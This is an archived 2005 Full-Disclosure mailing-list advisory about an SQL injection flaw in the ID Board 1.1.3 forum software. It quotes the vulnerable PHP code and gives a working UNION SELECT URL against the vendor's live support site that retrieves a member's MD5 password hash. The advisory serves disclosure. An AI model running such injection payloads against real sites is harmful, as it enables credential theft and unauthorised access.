full-disclosure - ID Board 1.1.3 SQL Injection Vulnerability

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite for Android: free password hash cracker in your pocket

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <A58DC6DA-0A03-4531-8040-F0C0299B7332@systemli.org>
Date: Sun Jul 10 10:47:34 2005
From: defa at systemli.org (Defa)
Subject: ID Board 1.1.3 SQL Injection Vulnerability

============================================================
Title: ID Board 1.1.3 SQL Injection Vulnerability
Vulnerability Discovery: me, myself and I
Date: 09/07/2005
Severity: Remote users can fetch MD5 Passwd Hash.
Affected version: 1.1.3 free (only one tested)
Vendor: http://www.id-team.com/
============================================================

============================================================

* Summary *

ID Board is a little Bulletin Board system. It is offered in three  
versions, I could only test the free one. Board is commonly used on  
german speaking websites.

-------------------------------------------------------------

* Problem Description *
-----------------------

The bug reside in sql.cls.php - the tbl_suff variable isn't checked.

Vulnerable Code:

if (!ereg("LEFT JOIN", $from) && !ereg(",", $from) &&
      !ereg("AS", $from))
$from = "[tbl_prev]".$from."[tbl_suff]";

* Example * (Account required)
------------------------------

http://support.id-team.com/index.php?site=warn&f=1%20WHERE%200=1% 
20UNION%20SELECT%20mem_pw%20as%20post_topic_name%20FROM%20members% 
20WHERE%20mem_id=1/*&0&warn=0

-------------------------------------------------------------

* Fix *

  Contact the Vendor.

-------------------------------------------------------------

* References *

This mail.
-------------------------------------------------------------

* Credits *

no credit.
-------------------------------------------------------------

regards
defa

--
Don't eat yellow snow!